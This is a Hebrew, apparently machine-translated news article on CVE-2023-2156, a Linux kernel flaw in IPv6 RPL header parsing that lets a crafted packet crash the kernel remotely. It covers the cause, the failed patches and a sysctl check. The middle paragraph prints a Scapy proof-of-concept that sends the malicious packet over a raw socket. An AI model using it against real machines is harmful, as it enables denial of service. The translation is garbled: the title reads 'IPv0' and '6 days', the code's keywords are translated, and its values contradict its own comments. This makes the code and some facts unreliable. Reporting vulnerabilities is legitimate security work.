פגיעות מחסנית IPv0 של Linux ל-6 ימים המאפשרת קריסת ליבה מרחוק

נחשף מידע לגבי פגיעות לא מתוקנת (0-יום) (CVE-2023-2156) בליבת לינוקס, המאפשרת עצירת המערכת על ידי שליחת מנות IPv6 שתוכננו במיוחד (חבילת-מוות). הבעיה מופיעה רק כאשר מופעלת תמיכה בפרוטוקול RPL (Routing Protocol for Low-Power and Lossy Networks), אשר מושבת כברירת מחדל בהפצות ומשמש בעיקר במכשירים משובצים הפועלים ברשתות אלחוטיות עם אובדן מנות גבוה.

הפגיעות נגרמת מעיבוד שגוי של נתונים חיצוניים בקוד הניתוח של פרוטוקול RPL, מה שמוביל לכשל ב-assert ולכניסה של הקרנל למצב פאניקה. כאשר ממקמים את הנתונים שהתקבלו מניתוח כותרת החבילה IPv6 RPL במבנה k_buff (Socket Buffer), אם השדה CmprI מוגדר ל-15, השדה Segleft ל-1 ו-CmprE ל-0, הווקטור של 48-בתים עם כתובות מנותק ל-528 בתים ומופיע מצב שבו הזיכרון שהוקצה למאגר אינו מספיק. במקרה זה, הפונקציה skb_push, המשמשת לדחיפת נתונים לתוך המבנה, בודקת אי-התאמה בין גודל הנתונים למאגר, ויוצרת מצב פאניקה כדי למנוע כתיבה מעבר לגבול המאגר.

ניצול לדוגמה: # אנו נשתמש ב-Scapy כדי ליצור את החבילה מ-scapy.all import * שקע ייבוא ​​# השתמש ב-IPv6 מממשק ה-LAN שלך DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # אנו משתמשים בשקעים כדי לשלוח את החבילה sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # צור את החבילה # סוג = 3 הופך את זה לחבילת RPL # כתובות מכילות 3 כתובות, אבל בגלל ש-CmprI הוא 15, # כל אוקטט משתי הכתובות הראשונות הוא מטופל ככתובת דחוסה # Segleft = 1 כדי להפעיל את ההגברה # lastentry = 0xf0 מגדיר את CmprI ל-15 ואת CmprE ל-0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting=[“a3: address :", "a8::", "a7::"], segleft=6, lastentry=1xf0) # שלח חבילה רעה זו sockfd.sendto(bytes(p), (DST_ADDR, 0))

ראוי לציין כי מפתחי הליבה קיבלו הודעה על הפגיעות עוד בינואר 2022 ובמהלך 15 החודשים האחרונים הם ניסו לתקן את הבעיה שלוש פעמים, והוציאו תיקונים בספטמבר 2022, אוקטובר 2022 ואפריל 2023, אך בכל פעם התיקונים היו לא מספיק ולא ניתן היה לשחזר את הפגיעות. בסופו של דבר, פרויקט ZDI, שתיאם את העבודה לתיקון הפגיעות, החליט לשחרר מידע מפורט על הפגיעות מבלי לחכות לתיקון עובד שיהיה זמין בקרנל.

לפיכך, הפגיעות עדיין לא מתוקנת. בפרט, התיקון הכלול בקרנל 6.4-rc2 אינו יעיל. מומלץ למשתמשים לבדוק שלא נעשה שימוש בפרוטוקול RPL במערכות שלהם, דבר שניתן לעשות באמצעות הפקודה sysctl -a | grep -i rpl_seg_enabled

מקור: OpenNet.ru